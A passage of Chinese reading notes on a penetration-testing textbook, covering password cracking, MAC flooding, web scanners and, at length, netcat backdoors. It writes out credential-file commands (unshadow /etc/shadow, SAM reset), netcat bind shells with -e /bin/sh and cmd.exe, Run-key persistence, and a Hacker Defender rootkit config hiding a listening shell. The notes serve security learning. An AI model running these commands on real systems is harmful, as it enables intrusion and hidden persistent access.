?????? ?????? john/tmp/hashes.txt --format=nt

?????? (“hashes.txt”是我們在前面提取的密碼散列,

?????? ?????? <--format= >:指定了密碼類型,對于NTML算法,則是“--format=nt”)

7.遠(yuǎn)程密碼破解

?????? Meterpreter → hashdump → JtR

8.Linux系統(tǒng)的密碼破解和權(quán)限提升

①Linux系統(tǒng)將加密的密碼散列包含在“shadow”文件里,該文件完整路徑是“/etc/shadow”

②只有特權(quán)用戶才能訪問“shadow”文件,解決方案是:

Linux還使用一個(gè)經(jīng)過編輯的密碼列表 “/etc/passwd”,這個(gè)列表一般可以被所有用戶讀取

利用JtR合并“/etc/shadow”和“/etc/passwd”,這一過程輸出的是一個(gè)包含原始散列的列表,這個(gè)新列表可以輸入John

③實(shí)例:

?????? unshadow /etc/passwd /etc/shadow >/tmp/linux_hashes.txt

?????? john /tmp/linux_hashes.txt

④少年吶!你應(yīng)該花謝時(shí)間好好學(xué)習(xí)運(yùn)行JtR每個(gè)參數(shù)的用法

9.密碼重置

?????? chntpw -i /mnt/sda1_file/Windows/system32/config/SAM

?????? reboot(重置好密碼后,重啟目標(biāo)機(jī)器)

?????? < -i >:表示以交互模式運(yùn)行

10.網(wǎng)絡(luò)嗅探

?????? 截獲并查看進(jìn)出某一網(wǎng)絡(luò)流量的過程

?????? ①網(wǎng)絡(luò)模式:

?????? ?????? A)非混雜模式:大部分網(wǎng)卡都運(yùn)行在該模式下,這就意味著NIC(Network Interface Card)只會(huì)傳遞指向本機(jī)地址的特定網(wǎng)絡(luò)流量

?????? ?????? B)混雜模式:強(qiáng)制網(wǎng)卡接收流入的所有數(shù)據(jù)包

?????? ②為了能順利嗅探到目的地址最初并非指向你的計(jì)算機(jī)的流量,首先必須確保你的網(wǎng)?????? 卡已運(yùn)行在混雜模式下

?????? ③收到非指向本機(jī)的流量的原因:

?????? ?????? a)廣播流量

?????? ?????? b)網(wǎng)絡(luò)使用集線器(hub)發(fā)送數(shù)據(jù)包而不是交換機(jī)(switch)

?????? (hub將其收到的任何數(shù)據(jù)不做任何處理直接發(fā)送給所有連接到它的物理端口的設(shè)備)

11.Macof

?????? ①交換機(jī)針對不同地址分別使用不同的路由信息這一設(shè)計(jì),原本是用來提高性能的,而不是提高安全性

?????? ②通過耗盡交換機(jī)用于保存MAC地址和對應(yīng)端口號的匹配表的內(nèi)存,并用大量偽造的MAC地址對該匹配表進(jìn)行泛洪攻擊,就可以使交換機(jī)無法讀取或者訪問這個(gè)匹配表。此時(shí)根據(jù)交換機(jī)的配置不同,交換機(jī)會(huì)變成“失效開放”或者“失效關(guān)閉”模式。

?????? ?????? A)“失效開放”(fail open)

?????? ?????? ?????? 交換機(jī)簡單地把流量廣播到所有端口

?????? ?????? B)“失效關(guān)閉”(fail closed)

?????? ?????? ?????? 交換機(jī)簡單地停止數(shù)據(jù)傳送(相當(dāng)于發(fā)生了一次Dos攻擊)

?????? ③Dsniff

????? ????? A)一款用于網(wǎng)絡(luò)審計(jì)和滲透測試的工具集,建議花時(shí)間好好研究其中每 一個(gè)工具!

????? ????? B)Dsniff中有一個(gè)工具叫Macof

????? ????? Macof:生成幾千個(gè)隨機(jī)MAC地址,對交換機(jī)進(jìn)行泛洪

????? ????? 運(yùn)行實(shí)例:

????? ????? macof-i eth0 -s 192.168.18.130 -d 192.168.18.2

????? ????? <-i >:指定計(jì)算機(jī)的NIC

????? ????? <-s >:指定本地計(jì)算機(jī)地址

????? ????? <-d >:指定目標(biāo)攻擊對象

????? ????? (注:使用Macof會(huì)產(chǎn)生大量的網(wǎng)絡(luò)流量,容易被發(fā)現(xiàn))

12.Wireshark

需要花時(shí)間好好學(xué)習(xí)!

13.Armitage

????? 在Metasploit上運(yùn)行、GUI驅(qū)動(dòng)的前端程序

????? ①使用實(shí)例:

????? ????? apt-getinstall armitage??? (假如沒安裝,先安裝)

????? ????? servicepostgresql start( 啟動(dòng)PostgreSQL服務(wù))

(如果看到“Try setting MSF_DATABASE_CONFIG to a file that exists”的錯(cuò)誤,則必須運(yùn)行如下命令,然后啟動(dòng)Armitage

????? service metasploit start)

????? ②HailMary(最后一擊)

????? ③使用步驟:

????? ????? Hosts→ Quick Scan(OS detect)

????? ????? Attacks→ Find Attacks → Hail Mary

14.如何實(shí)踐

????? ①M(fèi)etasploit培訓(xùn)教程“Metasploit Unleashed

????? ②使用De-ICE系列Linux引導(dǎo)光盤

15.接下來該做什么

①Hydra:暴力破解密碼工具

????? ????? (特別注意一下定時(shí)(timing)選項(xiàng))

????? ②RainbowCrack:利用彩虹表對密碼進(jìn)行破解

????? ????? (彩虹表:預(yù)先計(jì)算好的密碼散列列表)???

?????? ③Tcpdump:命令行工具,捕捉和查看網(wǎng)絡(luò)流量的尚佳選擇

?????? ④Ettercap:開展中間人攻擊(man-in-the-middle attack)的絕佳武器

?????? ⑤學(xué)著如何讀取、寫入并創(chuàng)建你自己的漏洞攻擊程序,學(xué)習(xí)漏洞利用技術(shù)可以從學(xué)習(xí)緩沖區(qū)溢出(buffer overflow)開始

?????? ⑥如果從Metasploit中找不到匹配的漏洞利用程序,嘗試搜索“Exploit-DB

?????? https://www.exploit-db.com/(漏洞利用和概念驗(yàn)證代碼的公開知識庫)

?????? ⑦許多漏洞攻擊程序都是基于棧(stack)和堆(heap)緩沖區(qū)溢出

?????? ⑧建議精通腳本語言,Python和Ruby都是很好的選擇

第五章、社會(huì)工程

1.社會(huì)工程工具包(Social-Engineer Toolkit)(SET

2.在Kali的文件夾結(jié)構(gòu)中,/usr/bin/<工具名>中放置了二進(jìn)制文件,真正的應(yīng)用程序文件在/usr/share/<工具名>中

3.SET安裝在“/usr/share/setoolkit”

啟動(dòng)命令:setoolkid

4.隨時(shí)更新SET

第六章、基于Web的漏洞利用

1.常見Web應(yīng)用入侵框架:

?????? ①w3af(Web應(yīng)用程序?qū)徲?jì)和攻擊框架);

?????? ②Burp Suite

?????? ③ZAP(OWASP的Zed攻擊代理);

?????? ④Websecurify

?????? ⑤Paros

2.Web入侵的基本思路

?????? ①攔截離開瀏覽器的請求(通過使用代理 Proxy)

?????? ②尋找組成Web應(yīng)用的所有網(wǎng)頁、目錄和其他文件

?????? ? (提供對攻擊面的深入理解,由自動(dòng)化的“Spidering”(爬蟲)完成;

????????????? Spidering這種活動(dòng)沒有隱蔽性;

????????????? 注意設(shè)置Spidering不要訪問注銷用戶的鏈接;

????????????? 假如可以,注意指定Spidering搜索目標(biāo)網(wǎng)站中的特別目錄和路徑)

?????? ③分析Web應(yīng)用響應(yīng)、檢查其漏洞

????????????? (自動(dòng)化Web掃描程序可以發(fā)現(xiàn)的Web漏洞有:

????????????? ?SQL注入XSS文件路徑操縱攻擊(也被稱作目錄遍歷)等

3.Nikto

?????? 一款Web服務(wù)器漏洞掃描工具(要想運(yùn)行需要事先安裝Perl)

?????? 使用實(shí)例:?? nikto -h 192.168.13.182 -p?? 1-1000

??????????????????????????? nikto -h192.168.18.132 -p 80,443

?????? < -h >:指定一個(gè)主機(jī)IP地址

?????? < -p >:指定端口號(多個(gè)不連續(xù)的端口號用“,”分隔,例如“80,443”)

???????????????????? (若不指定端口號,Nikto僅會(huì)掃描80端口)

?????? < -o >:使用“-o /path/file_name”可以將Nikto的輸出結(jié)果保存在該文件中

4.w3af

①一款出色的Web資源掃描和漏洞利用工具,提供了易用的界面,滲透測試者可以用?????? 它快速而輕松地找出幾乎所有重要的Web漏洞,包括跨站請求偽造,文件包含,?????? SQL 注入,XSS等

?????? ②強(qiáng)烈建議花時(shí)間探索和使用這一工具!

5.WebScarab

①與目標(biāo)服務(wù)器進(jìn)行交互的首選工具

②使用該工具的Spidering功能之前,確保它處于“full-featuredinterface(全功能界面)”模式,而不是“LiteInterface(精簡界面)”模式

7.代碼注入攻擊

?????? 注入攻擊最基本的類型:SQL Injection

8.XSS(Cross Site Scripting跨站腳本攻擊)

????????????? 將腳本程序注入到Web應(yīng)用程序中的過程

?????? ①reflected(非持久化)XSS,也被稱為“First Order(首選)XSS”

?????? ②stored(持久化) XSS

?????? ③掌握reflected XSSstored XSS后,你應(yīng)該著手研究基于DOM 的 XSS了。

9.ZAP(Zed Attack Proxy)

?????? ①全功能的Web入侵工具包

?????? ②啟動(dòng)命令:zap

10.如何實(shí)踐

?????? ①WebGoat(OWASP開發(fā),基于J2EE構(gòu)建,運(yùn)行前確保系統(tǒng)安裝了JRE,使用鏈接為:http://127.0.0.1:8080/webgoat/attack)????

?????? ②DVWA(Damn Vulnerable Web APP)

????????????? 用PHP和MySQL制作的不安全應(yīng)用程序,以提供測試環(huán)境

11.接下來該做什么

①學(xué)習(xí)Web應(yīng)用Hacker更高級的主題,包括:

?????? 客戶端攻擊、會(huì)話管理、源代碼審計(jì)

②關(guān)注OWASP的“Top Ten”項(xiàng)目

③《The Basic of Web Hacking:Tools and Techniques to Attackthe Web 》

???????????????????????????????????????????????????????????????????????????????????????????????????????? ——Josh Pauli

第七章、維持訪問

1.使用Back door(后門)及Rootkit維持訪問

①Back door:運(yùn)行在目標(biāo)計(jì)算機(jī)上的隱藏進(jìn)程,使得攻擊者隨時(shí)返回(或連接)到目標(biāo)計(jì)算機(jī)上

②Rootkit:一類特殊的軟件,深嵌在操作系統(tǒng)的內(nèi)部并能夠執(zhí)行一些任務(wù),包括能夠幫Hacker隱藏進(jìn)程和程序

2.Netcat

?????? ①一個(gè)運(yùn)行通信和網(wǎng)絡(luò)流量從一臺(tái)計(jì)算機(jī)到另一臺(tái)計(jì)算機(jī)的工具,它的靈活性讓它成為后門的最佳選擇

?????? ②Netcat可用于在計(jì)算機(jī)之間傳遞文件,也可用于執(zhí)行端口掃描,還可以作為一個(gè)簡單地即時(shí)消息和聊天工具,甚至可以用來搭建一個(gè)簡單地Web服務(wù)器

?????? ③Netcat既可以以服務(wù)器模式來運(yùn)行,也可以以客戶端模式來運(yùn)行

?????? A)客戶端模式,它能通過網(wǎng)絡(luò)連接到其他的服務(wù)上去(包括其他的Netcat實(shí)例);

????????????? 可以使用本地計(jì)算機(jī)上任意一個(gè)端口遠(yuǎn)程連接目標(biāo)計(jì)算機(jī)上的任意端口。

?????? B)服務(wù)器模式,它作為一個(gè)監(jiān)聽者,等待接受外界傳遞過來的連接

?????? ————————————————————————————-—————

????????????? 實(shí)踐方式是,在至少兩臺(tái)虛擬機(jī)上安裝Netcat并嘗試互相通信

?????? ————————————————————————————-—————

?????? ④將Netcat配置為一個(gè)連接兩臺(tái)計(jì)算機(jī)的通信通道

????????????? a)目標(biāo)計(jì)算機(jī):nc -l -p 1337

????????????? < -l >:將Netcat置為監(jiān)聽模式

????????????? < -p >: 指定Netcat監(jiān)聽的端口號

????????????? b)攻擊計(jì)算機(jī) : nc 192.168.18.132 1337

????????????? (Netcat嘗試連接IP地址為192.168.18.132的計(jì)算機(jī),使用端口1337)

????????????? c)Netcat只是將鍵盤輸入(擊鍵)的數(shù)據(jù)通過連接傳送出去

????????????? d)結(jié)束Netcat連接使用“Crrl + D”

(一旦你關(guān)閉了Netcat連接,要想在目標(biāo)計(jì)算機(jī)上建立另一個(gè)連接,你需要重新啟動(dòng)Netcat程序)

?????? ⑤使Netcat持久連接的方法

?????? a)在Windows系統(tǒng)中

????????????? 以監(jiān)聽者啟動(dòng)Netcat時(shí)Ⅰ.使用參數(shù)< -L >,這樣即使客戶端斷開連接之后,目標(biāo)計(jì)算機(jī)在特定的端口上仍然保持在線連接狀態(tài)

????????????? 例如:nt -L -p 1338

????????????? 為了實(shí)現(xiàn)真正地持久性,還需要.添加Netcat程序到注冊表的

????????????? HKEY_LOCAL_MACHINE\software\windows\currentversion\run表項(xiàng)中

?????? b)在Linux系統(tǒng)中

????????????? 不得不寫一個(gè)簡單地bash腳本程序,強(qiáng)行讓Netcat在初始連接關(guān)閉時(shí)重新啟動(dòng)

?????? ⑥使用Netcat進(jìn)行文件傳輸

????????????? a)被控制者:nc -l -p 7777 > virus.exe

????????????? (強(qiáng)制目標(biāo)計(jì)算機(jī)監(jiān)聽7777端口,并將任何接收的輸入信息存儲(chǔ)到文件”virus.exe”中)

????????????? b) 攻擊者:nc 172.16.45.129 7777 < virus.exe

????????????? (默認(rèn)情況下,Netcat不會(huì)提供任何類型的反饋信息,因此你也不知道傳輸是什么時(shí)候完成的,所以一般是等待一會(huì)兒后輸入Ctrl+C關(guān)閉連接,再”ls“查看)

????????????? c)可以以相反的順序執(zhí)行上述兩條命令,將會(huì)從目標(biāo)計(jì)算機(jī)下載一個(gè)文件

?????? ⑦使用Netcat建立一個(gè)到目標(biāo)端口的盲連接

????????????? a)在目標(biāo)計(jì)算機(jī)上發(fā)現(xiàn)了一些開放端口,但Nmap和Nessus無法識別在端口上運(yùn)行的服務(wù),在這種情況下,一個(gè)好的解決方案便是使用Netcat建立一個(gè)到目標(biāo)端口的盲連接。連接建立之后,通過鍵盤輸入向目標(biāo)端口發(fā)送信息,引發(fā)服務(wù)端的響應(yīng),根據(jù)響應(yīng)信息識別服務(wù)。

?????? ?????? b)假如對IP地址為192.168.18.132的目標(biāo)計(jì)算機(jī)進(jìn)行滲透測試,發(fā)現(xiàn)端口5001是開放的,但無法判斷該端口運(yùn)行著什么服務(wù),則可以這樣

????????????? nc 192.168.18.132 5001(建立一個(gè)到目標(biāo)端口和服務(wù)的TCP連接)

????????????? (注:可以使用 < -u >參數(shù)強(qiáng)制Netcat發(fā)送UDP數(shù)據(jù)包)

?????? ⑧Netcat的 < -e > 參數(shù)

????????????? a)如果我們使用 -e 參數(shù)來啟動(dòng)Netcat,Netcat將執(zhí)行我們在 -e 參數(shù)之后指定的任何程序(并且該程序只會(huì)在連接建立之后執(zhí)行)

????????????? b)要配置一個(gè)Back door,需要使用 -e 參數(shù)將一個(gè)可執(zhí)行命令的 shell綁定到目標(biāo)計(jì)算機(jī)的一個(gè)端口上

????????????? 例如: nc -l -p 12345 -e /bin/sh

??????????????????????????? nc.exe -L -p12345 -e c:\WINDOWS\System32\cmd.exe

?????? ⑨你應(yīng)當(dāng)花時(shí)間親自實(shí)踐一下這款工具,你將被這款工具的強(qiáng)大功能所震懾!這也是稱它為“瑞士軍刀”的原因

3.Cryptcat(命令格式和Netcat一致)

?????? ①流經(jīng)Netcat服務(wù)器和客戶端的流量都是明文的,Cryptcat可以用來解決這一問題,它使用twofish進(jìn)行加密

?????? ②你應(yīng)該更改默認(rèn)的key值,不如容易被破解。默認(rèn)的key值是”metallica“,

使用< - k >參數(shù)修改

4.Rootkit(一類工具的總稱)

可以隱藏文件,進(jìn)程甚至是程序,一般用于隱藏文件或程序,以保持后門訪問的隱蔽性

5.Hacker Defender(一款WindowsRootkit)

?????? ①需要特別注意的其中三個(gè)主要文件

?????? a) hxdef100.exe : 在目標(biāo)計(jì)算機(jī)上運(yùn)行Hacker Defender

?????? b) hxdef100.ini : 根據(jù)需要進(jìn)行選項(xiàng)設(shè)置,列出我們想要隱藏的程序,文件或服務(wù)

?????? c) bdcli100.exe : 客戶端軟件,用于連接Hacker Defender的后門

?????? ②詳解”hxdef100.ini ”文件

(圖A)(圖B)

(A圖是真實(shí)的hxdef100.ini文件,不過為了躲避殺軟檢測,插入了一些字符,去除這些干擾字符后,實(shí)際內(nèi)容參照圖B,之所以圖中所示選項(xiàng)和下面所述不完全一致是因?yàn)?#xff0c;上圖源自未運(yùn)行過的HD)

?????? a)[Hidden Table] 指定隱藏特定的文件,目錄或文件夾(對于Windows的資源管理器和文件管理器都是隱藏的)

?????? b)[Hidden Process] 指定隱藏特定的進(jìn)程或程序

?????? c)[Root Processes] 包含可以用來交互的程序以及可以查看到的但在之前已經(jīng)隱藏了的文件夾和進(jìn)程

?????? d)[Hidden Services] 指定隱藏特定的服務(wù)(如FTP,Web服務(wù),Back door等)

?????? e)[Hidden Rekeys] 指定隱藏特定的注冊表鍵

?????? f)[Hidden RegValues] 指定隱藏特定的鍵值,而不是整個(gè)鍵

?????? g)[Startup Run] 在Hacker Defender 啟動(dòng)后自動(dòng)運(yùn)行的程序(放置Netcat命令的好地方,注意確保Netcat處于監(jiān)聽模式)

?????? h)[Free Space] 顯示虛假的硬盤已用空間(隱藏了所使用的磁盤空間的占用信息)

?????? 例如:你偷偷安裝的程序占了1G硬盤空間,你需要寫入”1073741824“(該數(shù)字以字節(jié)為單位)

?????? i)[Hidden Ports] 包括TCPI 、TCPO、UDP三個(gè)子節(jié)

????????????? Ⅰ.TCPI 指定隱藏入站流量的TCP端口(多個(gè)端口間用”,“分隔)

????????????? Ⅱ.TCPO 指定隱藏出站流量的TCP端口

????????????? Ⅲ.UDP 指定想要隱藏的UDP端口

?????? ③使用Hacker Defender隱藏 Netcat的實(shí)例,修改”hxdef100.ini ”文件,需要添加的內(nèi)容如下(HackerDefender和Netcat均位于”C:\rk\“目錄下)

????????????? [HiddenTable]?? rk

????????????? [Hidden Processes]? nc.exe

????????????? [Startup Run]

????????????? c:\rk\nc_windows\nc.exe -L -p 8887-e c:\windows\system32\cmd.exe

6.要真在的掌握Rootkit,需要對操作系統(tǒng)內(nèi)核有非常扎實(shí)的理解

7.強(qiáng)烈建議你深入到惡意軟件這個(gè)“兔子洞”中去探探究竟!

8.Rootkit的檢測和防御

?????? ①監(jiān)控流出的流量

?????? ②定期對你的系統(tǒng)進(jìn)行端口掃描

?????? ③發(fā)現(xiàn)隱藏文件和Rootkit的工具

????????????? a)Rootkit Revealer

????????????? b)vice

????????????? c)F-Secure的Blacklight

?????? ④清除Rootkit最簡單的方法是完全格式化硬盤?

9.如何實(shí)踐

①配置兩臺(tái)計(jì)算機(jī)并在它們上邊實(shí)際操作一下Netcat(< -e >至關(guān)重要

?????????????????????????????????? (用得越多,對概念的理解就越透徹)

②挖掘Netcat的一些高級特性,如用Netcat做代理,反向shell,端口掃描,創(chuàng)建和復(fù)制磁盤分區(qū),連接Netcat實(shí)例實(shí)現(xiàn)從一臺(tái)計(jì)算機(jī)到另一臺(tái)計(jì)算機(jī)的反彈流量等

③一定要仔細(xì)閱讀Netcat的“man(幫助)”文檔并分析每一個(gè)參數(shù)

④事實(shí)上,Rootkit和Back door在滲透測試中很少使用,強(qiáng)烈建議你在試圖更深入地研究惡意軟件之前,側(cè)重掌握其他步驟的內(nèi)容

10.接下來做什么

①Ncat:

現(xiàn)代版的Netcat,Nmap項(xiàng)目的組成部分,為很多舊功能增加了SSL和IPV6的支持

②Socat:

另一個(gè)與Netcat密切相關(guān)的工具,它在讀寫網(wǎng)絡(luò)流量方面非常出色,也擴(kuò)展了Netcat的原有的功能,增加了SSL、IPV6支持和一些其他的高級特性

③有興趣學(xué)習(xí)更多關(guān)于Back door的知識,應(yīng)該花時(shí)間研究幾個(gè)經(jīng)典的例子,包括

a)Netbus:傳統(tǒng)命令和控制軟件的好例子

b)Back Orifice:與Netbus非常相似,允許用戶使用命令行操控遠(yuǎn)程計(jì)算機(jī)

c)Subseven(Sub7):采用客戶端/服務(wù)器方式,允許客戶端遠(yuǎn)程控制服務(wù)器端

?????? ④對擴(kuò)展Rootkit方面的知識感興趣,那么需要學(xué)習(xí)和掌握現(xiàn)代操作系統(tǒng)內(nèi)部機(jī)理

第八章、滲透測試總結(jié)

1.編寫滲透測試報(bào)告

?????? ①綜合報(bào)告

?????? ②對滲透測試執(zhí)行情況的概述(幫助客戶理解控制或者入侵系統(tǒng)的成功程度)

?????? ③詳細(xì)報(bào)告

?????? ④原始輸出(假如需要的話)以及支持信息

2.不應(yīng)到此為止

?????? ①安全社區(qū):InfraGard、OWASP、Backtrack-Linux

?????? ②Defcon大會(huì)、DerbyCon大會(huì)

?????? ③可以深入研究的一些主題:

????????????? a)威懾安全/道德Hacker?? b)Web應(yīng)用安全

????????????? c)系統(tǒng)安全???????????????????????? d)逆向工程

????????????? e)工具開發(fā)??????????????????????? f)惡意軟件分析

????????????? g)防御性安全?????????????????????????? h)軟件安全

????????????? i)數(shù)字取證???????????????????????? j)無線安全

3.接下來該做什么

①強(qiáng)烈建議加強(qiáng)編程和網(wǎng)絡(luò)知識

②Kali Linux的專業(yè)人員提供了一系列高強(qiáng)度實(shí)踐的課程

③花些時(shí)間關(guān)注和研究包括OSSTMM(開源安全測試方法學(xué)手冊)和PTES(滲透測試執(zhí)行標(biāo)準(zhǔn))在內(nèi)的各種安全測試方法論

PTF(滲透測試框架,PenetrationTesting Framework):包含評估模板和一套可以用于各個(gè)階段的非常強(qiáng)大的工具清單

?????????????

?

總結(jié)

以上是生活随笔為你收集整理的《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。